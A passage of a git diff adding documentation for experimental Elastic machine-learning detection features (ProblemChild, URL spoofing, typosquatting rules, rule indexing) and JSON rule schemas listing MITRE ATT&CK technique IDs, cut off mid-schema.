+ +##### Host name collision details + +Physical Windows clients - desktops and laptops - in an Active Directory forest are unlikely to have name collisions, as their computer accounts and distinguished names should be unique. Non-domain member servers, desktops and laptops, in a Windows workgroup, may occasionally have name collisions. Macs are often not managed by a directory service and may have name collisions. Virtual servers, that are created from templates or cloning processes may have hostname collisions. diff --git a/docs/experimental-machine-learning/images/0a_host_risk_score_card.png b/docs/experimental-machine-learning/images/0a_host_risk_score_card.png new file mode 100644 index 000000000..13a0a3524 Binary files /dev/null and b/docs/experimental-machine-learning/images/0a_host_risk_score_card.png differ diff --git a/docs/experimental-machine-learning/images/0b_alert_summary.png b/docs/experimental-machine-learning/images/0b_alert_summary.png new file mode 100644 index 000000000..f985340ff Binary files /dev/null and b/docs/experimental-machine-learning/images/0b_alert_summary.png differ diff --git a/docs/experimental-machine-learning/images/0c_host_page_risk_column.png b/docs/experimental-machine-learning/images/0c_host_page_risk_column.png new file mode 100644 index 000000000..a57a5a118 Binary files /dev/null and b/docs/experimental-machine-learning/images/0c_host_page_risk_column.png differ diff --git a/docs/experimental-machine-learning/images/0d_host_page_hosts_by_risk_tab.png b/docs/experimental-machine-learning/images/0d_host_page_hosts_by_risk_tab.png new file mode 100644 index 000000000..802d70f03 Binary files /dev/null and b/docs/experimental-machine-learning/images/0d_host_page_hosts_by_risk_tab.png differ diff --git a/docs/experimental-machine-learning/images/0e_host_details_page_risk_overview.png b/docs/experimental-machine-learning/images/0e_host_details_page_risk_overview.png new file mode 100644 index 000000000..a7c998116 Binary files /dev/null and b/docs/experimental-machine-learning/images/0e_host_details_page_risk_overview.png differ diff --git a/docs/experimental-machine-learning/images/0f_host_details_page_hosts_by_risk_tab.png b/docs/experimental-machine-learning/images/0f_host_details_page_hosts_by_risk_tab.png new file mode 100644 index 000000000..23d4a33c0 Binary files /dev/null and b/docs/experimental-machine-learning/images/0f_host_details_page_hosts_by_risk_tab.png differ diff --git a/docs/experimental-machine-learning/images/1_create_deployment.png b/docs/experimental-machine-learning/images/1_create_deployment.png new file mode 100644 index 000000000..e4c574daa Binary files /dev/null and b/docs/experimental-machine-learning/images/1_create_deployment.png differ diff --git a/docs/experimental-machine-learning/images/2_edit_configuration.png b/docs/experimental-machine-learning/images/2_edit_configuration.png new file mode 100644 index 000000000..27071ee5a Binary files /dev/null and b/docs/experimental-machine-learning/images/2_edit_configuration.png differ diff --git a/docs/experimental-machine-learning/images/3_edit_user_settings.png b/docs/experimental-machine-learning/images/3_edit_user_settings.png new file mode 100644 index 000000000..76443e4e4 Binary files /dev/null and b/docs/experimental-machine-learning/images/3_edit_user_settings.png differ diff --git a/docs/experimental-machine-learning/images/4_add_flag.png b/docs/experimental-machine-learning/images/4_add_flag.png new file mode 100644 index 000000000..9d5600553 Binary files /dev/null and b/docs/experimental-machine-learning/images/4_add_flag.png differ diff --git a/docs/experimental-machine-learning/images/5_save_settings.png b/docs/experimental-machine-learning/images/5_save_settings.png new file mode 100644 index 000000000..bc9c888bc Binary files /dev/null and b/docs/experimental-machine-learning/images/5_save_settings.png differ diff --git a/docs/experimental-machine-learning/images/6_confirm_activity_finished.png b/docs/experimental-machine-learning/images/6_confirm_activity_finished.png new file mode 100644 index 000000000..8c1abe21e Binary files /dev/null and b/docs/experimental-machine-learning/images/6_confirm_activity_finished.png differ diff --git a/docs/experimental-machine-learning/problem-child.md b/docs/experimental-machine-learning/problem-child.md new file mode 100644 index 000000000..ddb62fb60 --- /dev/null +++ b/docs/experimental-machine-learning/problem-child.md @@ -0,0 +1,64 @@ +# ProblemChild in the Elastic Stack + +ProblemChild helps detect anomalous activity in Windows process events by: +1) Classifying events as malicious vs benign +2) Identifying anomalous events based on rare parent-child process relationships + +An end-to-end blog on how to build the ProblemChild framework from scratch for your environment can be found [here](https://www.elastic.co/blog/problemchild-detecting-living-off-the-land-attacks). + +You can also find some supplementary material for the blog and examples [here](https://github.com/elastic/examples/tree/master/Machine%20Learning/ProblemChild) + +We also released a blog about getting started with ProblemChild using the CLI and Kibana: +* [ProblemChild Release Blog](link to blog) + + +*Note: in order to use these ML features, you must have a platinum or higher [subscription](https://www.elastic.co/subscriptions)* +*Note: the ML features are considered experimental in Kibana as well as this rules CLI* + + +## Detailed steps + +#### 1. Upload and setup the model file and dependencies + +Run `python -m detection_rules es experimental ml setup -t ` + +*If updating a new model, you should first uninstall any existing models using `remove-model`* + +You can also upload files locally using the `-d` option, so long as the naming convention of the files match the +expected pattern for the filenames. + +#### 2. Update index pipeline configuration + +You will need to update your index (containing Windows process event data) settings to point to the ProblemChild enrichment pipeline. + +You can do this by running the following command in your Dev Tools console: +``` +PUT your-index-pattern/_settings +{ + "index": { + "default_pipeline": "ML_ProblemChild_ingest_pipeline" + } +} +``` + +If you wish to stop enriching your documents using ProblemChild, run the following command in your dev Tools console: +``` +PUT your-index-pattern/_settings +{ + "index": { + "default_pipeline": null + } +} + +``` + +#### 3. Refresh your indexes + +You can optionally choose to refresh your index mapping from within Kibana: +* Navigate to `Stack Management > (Kibana) Index Patterns` +* Select the appropriate indexes +* Click `refresh field list` + +#### 4. Verify enrichment fields + +Any documents corresponding to Windows process events should now be enriched with `problemchild.*`. By default, the enrichment pipeline also consists of a script processor for a blocklist, so you might also see the field `blocklist_label` appear in documents that match the blocklist. diff --git a/docs/experimental-machine-learning/readme.md b/docs/experimental-machine-learning/readme.md new file mode 100644 index 000000000..82ad7750e --- /dev/null +++ b/docs/experimental-machine-learning/readme.md @@ -0,0 +1,106 @@ +# Experimental machine learning + +This repo contains some additional information and files to use experimental[*](#what-does-experimental-mean-in-this-context) machine learning features and detections + +## Features +* [DGA](DGA.md) +* [ProblemChild](problem-child.md) +* [HostRiskScore](host-risk-score.md) +* [URLSpoof](url-spoof.md) +* [experimental detections](experimental-detections.md) + +## Releases + +There are separate [releases](https://github.com/elastic/detection-rules/releases) for: +* DGA: `ML-DGA-*` +* ProblemChild: `ML-ProblemChild-*` +* Host Risk Score: `ML-HostRiskScore-*` +* URL Spoof: `ML-URLSpoof-*` +* experimental detections: `ML-experimental-detections-*` + +Releases will use the tag `ML-TYPE-YYYMMDD-N`, which will be needed for uploading the model using the CLI. + + +## CLI + +Support commands can be found under `python -m detection_rules es experimental ml -h` + +```console +Elasticsearch client: +Options: + -et, --timeout INTEGER Timeout for elasticsearch client + -ep, --es-password TEXT + -eu, --es-user TEXT + --elasticsearch-url TEXT + --cloud-id TEXT + + +* experimental commands are use at your own risk and may change without warning * + +Usage: detection_rules es experimental ml [OPTIONS] COMMAND [ARGS]... + + Experimental machine learning commands. + +Options: + -h, --help Show this message and exit. + +Commands: + check-files Check ML model files on an elasticsearch... + delete-job Remove experimental ML jobs. + remove-model Remove ML model files. + remove-scripts-pipelines Remove ML scripts and pipeline files. + setup Upload ML model and dependencies to enrich data. + upload-job Upload experimental ML jobs. +``` + +## Managing a model and dependencies using the CLI + +### Installing + +```console +python -m detection_rules es experimental ml setup -h + +Elasticsearch client: +Options: + -et, --timeout INTEGER Timeout for elasticsearch client + -ep, --es-password TEXT + -eu, --es-user TEXT + --cloud-id TEXT + --elasticsearch-url TEXT + + +* experimental commands are use at your own risk and may change without warning * + +Usage: detection_rules es experimental ml setup [OPTIONS] + + Upload ML model and dependencies to enrich data. + +Options: + -t, --model-tag TEXT Release tag for model files staged in detection- + rules (required to download files) + -r, --repo TEXT GitHub repository hosting the model file releases + (owner/repo) + -d, --model-dir DIRECTORY Directory containing local model files + --overwrite Overwrite all files if already in the stack + -h, --help Show this message and exit. + +``` + +### Removing + +To remove the ML bundle, you will need to remove the pipelines and scripts first and then the model. + +You can do this by running: +* `python -m detection_rules es experimental ml remove-pipeline-scripts --dga --problemchild` +* `python -m detection_rules es experimental ml remove-model ` + + +---- + +##### What does experimental mean in this context? + +Experimental model bundles (models, scripts, and pipelines), rules, and jobs are components which are currently in +development and so may not have completed the testing or scrutiny which full production detections are subjected to. + +It may also make use of features which are not yet GA and so may be subject to change and are not covered by the support +SLA of general release (GA) features. Some of these features may also never make it to GA. \ No newline at end of file diff --git a/docs/experimental-machine-learning/url-spoof.md b/docs/experimental-machine-learning/url-spoof.md new file mode 100644 index 000000000..d2aa303e6 --- /dev/null +++ b/docs/experimental-machine-learning/url-spoof.md @@ -0,0 +1,96 @@ +# URL Spoofing Detection in the Elastic Stack + +With the introduction of the ***URL Spoofing*** framework, you can now detect and monitor potentially malicious URLs in your environment. + +The framework leverages supervised machine learning methods, threat intelligence enrichments, and customized detection rules to create an alert when you interact with a potentially malicious URL. + + +*Note: In order to use these ML features, you must have a platinum or higher [subscription](https://www.elastic.co/subscriptions). This is an **experimental** detection capability that currently works with `Packetbeat` data or any index with a corresponding `url.full` field should you choose to use your own index.* + +## Detailed Workflow + +### 1. Setup enrichment policy + +You will first need to setup an enrichment policy to indicate where to get enrichments from. + +You can do this by running the following command in your *Dev Tools* console: + +``` +PUT /_enrich/policy/url_spoofing_enrichment_policy +{ + "match": { + "indices": "filebeat-*", + "query": {"match": {"event.dataset": "threatintel.abuseurl"}}, + "match_field": "threatintel.indicator.url.domain", + "enrich_fields": ["threatintel.indicator.url.domain"] + } +} +``` +*Note: This enrichment pulls in threat intelligence data from `Filebeat`. You must have `Filebeat` data and a corresponding `filebeat-*` index/index pattern.* + +### 2. Execute enrichment policy +After setting up the enrichment policy, you will need to execute the policy in order to add enrichments to incoming documents. + +Run the following command in your *Dev Tools* console: + +``` +PUT /_enrich/policy/url_spoofing_enrichment_policy/_execute +``` +*Note: You will need to periodically re-execute the enrichment policy to ensure your documents are being enriched with the latest threat intelligence data. To do so, simply re-run the execution script from **Step 2**. Do **NOT** re-run the script from **Step 1**.* + +### 3. Upload model and dependencies + +Run the following CLI command: + ``` + python -m detection_rules es experimental ml setup -t + ``` + +If updating a new model, you should first uninstall any existing models using *remove-model*. + + +### 4. Update index pipeline configuration +You will need to update your index settings to point to the *URL Spoofing* pipeline. + +You can do this by running the following command in your *Dev Tools* console: +``` +PUT your-index-pattern/_settings +{ + "index": { + "default_pipeline": ml_urlspoof_inference_pipeline + } +} +``` + +Run the following command in your *Dev Tools* console to stop adding enrichments from the *URL Spoofing* framework to your documents: +``` +PUT your-index-pattern/_settings +{ + "index": { + "default_pipeline": null + } +} +``` +### 5. Refresh your indexes (Optional) + +You can optionally choose to refresh your index mapping from within Kibana: + +- Navigate to Stack Management > (Kibana) Index Patterns +- Select the appropriate indexes +- Click refresh field list + + +### 6. Upload detection rule(s) + + +You can upload the rules associated with the *URL Spoofing* framework using the instructions provided [here](https://github.com/elastic/detection-rules/blob/main/docs/experimental-machine-learning/experimental-detections.md) + + +And that's it! You should now be alerted whenever you interact with a predicted malicious URL in your environment. + + + + + + + + diff --git a/docs/rule_insights.md b/docs/rule_insights.md new file mode 100644 index 000000000..3e01cd2c8 --- /dev/null +++ b/docs/rule_insights.md @@ -0,0 +1,99 @@ +# Insights and visualizations into rules and releases + +## Indexing rules for visualizing in Kibana + +There are several ways to import or index rules into elasticsearch. + + +### Indexing rules into Elasticsearch + +The simplest way to index rules from the repo into elasticsearch is to run +`python -m detection-rules es index-rules` + +This will index an enriched version of all rules included and sent to the index `rules-repo--` +- `package-version` is the version defined in `etc/packages.yml` +- `package hash` is the sha256 hash of the consolidated rules: + - sorted by name + - flattened + - sorted by key + - base64 encoded + + +#### Detailed usage + +``` +Usage: detection_rules es index-rules [OPTIONS] + + Index rules based on KQL search results to an elasticsearch instance. + +Options: + -q, --query TEXT Optional KQL query to limit to specific rules + -f, --from-file FILENAME Load a previously saved uploadable bulk file + -s, --save_files Optionally save the bulk request to a file + -h, --help Show this message and exit. +``` + +The query can be any valid kql to reduce the scope of included rules, such as + +``` +-q "tags:Windows and severity>50" +``` + + +### Generating an index of the rules + +Instead of automatically uploading the rules, you can save the files to do so locally and then import/upload + +To do so, run `python -m detection-rules generate-rules-index` + +This will generate 2 files under `enriched-rule-indexes/`: +* `enriched-rules-index-importable.ndjson` + - this is a standard ndjson file of flattened enriched rules +* `enriched-rules-index-uploadable.ndjson` + - this is an ndjson file in the format expected by the `bulk` [api](https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-bulk.html) + - this can be loaded via dev tools or sent as data using curl or any other method that hits the elasticsearch bulk api + + +The rules are _enriched_ with several pieces of information and so are not identical +representations of the rules generated with `view-rule`, though the hashes of the rules are generated +before any enrichments are added. + +#### Detailed usage + +``` +Usage: detection_rules generate-rules-index [OPTIONS] + + Generate enriched indexes of rules, based on a KQL search, for + indexing/importing into elasticsearch/kibana. + +Options: + -q, --query TEXT Optional KQL query to limit to specific rules + --overwrite Overwrite files in an existing folder + -h, --help Show this message and exit. +``` + +The query can be any valid kql to reduce the scope of included rules, such as + +``` +-q "tags:Windows and severity>50" +``` + +### Importing rules via Kibana + +If you have [access](https://www.elastic.co/subscriptions) to machine learning, you can leverage the +[data-visualizer](https://www.elastic.co/guide/en/kibana/7.11/connect-to-elasticsearch.html#upload-data-kibana) +to import the rules via the [importable](#generating-an-index-of-the-rules) file. + + +### After the rules have been indexed + +Once indexed, the rules will need to be added to a [kibana pattern](https://www.elastic.co/guide/en/kibana/7.11/index-patterns.html), +which will then make them searchable via discover or accessible in visualizations. Recommended index pattern is +`rules-*` or `rules-repo-*` + + +## For internal developers + +Along with a series of other artifacts, these files are also generated at package creation, when running: +- `make release` +- `python -m detection-rules build-release` \ No newline at end of file diff --git a/docs/typosquatting_rule.md b/docs/typosquatting_rule.md new file mode 100644 index 000000000..b7d36264b --- /dev/null +++ b/docs/typosquatting_rule.md @@ -0,0 +1,40 @@ +# Generating detection rule to alert on traffic to typosquatting or homonym domains + +## What does the rule do? + +This rule helps detect spoofing attacks on domains that you want to protect. + + +## Steps + +### 1. Run [dnstwist](https://github.com/elceef/dnstwist) on the domain you want to watch + +Eg: `dnstwist --format json elastic.co | jq` + +This should give you a json file consisting of potentially malicious lookalike domains for your domain. + +### 2. Index the lookalike domains into Elasticsearch + +In order to detect network activity on the lookalike domains using a threat match rule, you would first need to index these domains into an Elasticsearch index using the following CLI command: + +`python -m detection_rules typosquat create-dnstwist-index [OPTIONS] INPUT_FILE` + +### 3. Prep rule to alert on generated indexes + +Run the following CLI command to generate the typosquat rule file, which you will then import into Kibana. + +`python -m detection_rules typosquat prep-rule [OPTIONS] AUTHOR` + + +### 4. Import the rule into Kibana + +Import the ndjson rule file generated in the previous step, into Kibana, via the Detection rules UI. + +### 5. Detect potentially malicious network activity targeting your organization! + + +## Note + +- You DO NOT need to re-import the rule file each time you have an additional domain to track. For each new domain, you'd run Step 1 to generate the json file consisting of lookalike domains for that domain, followed by the CLI command in Step 2 to index these domains into a new index. This index will automatically be picked up by the rule you imported the very first time. + +- For advanced users, the threat indicator indices (`dnstwist-*`) also contain additional context about the lookalike domains, such as fuzzer information. You can query these indices if you would like to get such context about domains that have been alerted on. diff --git a/etc/api_schemas/7.10/7.10.base.json b/etc/api_schemas/7.10/7.10.base.json new file mode 100644 index 000000000..1cf3e934c --- /dev/null +++ b/etc/api_schemas/7.10/7.10.base.json @@ -0,0 +1,633 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic", + "technique" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + } + }, + "required": [ + "rule_id", + "description", + "name", + "risk_score", + "severity", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.10/7.10.eql.json b/etc/api_schemas/7.10/7.10.eql.json new file mode 100644 index 000000000..7d7792503 --- /dev/null +++ b/etc/api_schemas/7.10/7.10.eql.json @@ -0,0 +1,658 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "default": "eql", + "enum": [ + "eql" + ], + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + 